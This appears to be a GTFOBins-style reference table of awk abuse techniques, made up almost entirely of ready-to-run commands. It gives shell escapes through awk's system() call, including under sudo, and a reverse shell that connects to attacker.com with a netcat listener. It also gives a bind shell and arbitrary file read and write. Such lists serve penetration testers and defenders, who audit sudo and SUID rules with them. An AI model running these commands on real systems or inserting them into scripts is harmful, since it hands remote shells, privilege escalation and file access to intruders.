| code |
| awk 'BEGIN {system("/bin/sh")}' |
|
|
| code |
| sudo awk 'BEGIN {system("/bin/sh")}' |
|
|
| code |
| ./awk 'BEGIN {system("/bin/sh")}' |
|
|
| description |
code |
| Run `nc -l -p 12345` on the attacker box to receive the shell. |
RHOST=attacker.com
RPORT=12345
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
s = "/inet/tcp/0/" RHOST "/" RPORT;
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
|
|
|
| description |
code |
| Run `nc target.com 12345` on the attacker box to connect to the shell. |
LPORT=12345
awk -v LPORT=$LPORT 'BEGIN {
s = "/inet/tcp/" LPORT "/0/0";
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
|
|
|
| code |
| LFILE=file_to_read
awk '//' "$LFILE"
|
|
|
| code |
| LFILE=file_to_write
awk -v LFILE=$LFILE 'BEGIN { print "data" > LFILE }'
|
|
|
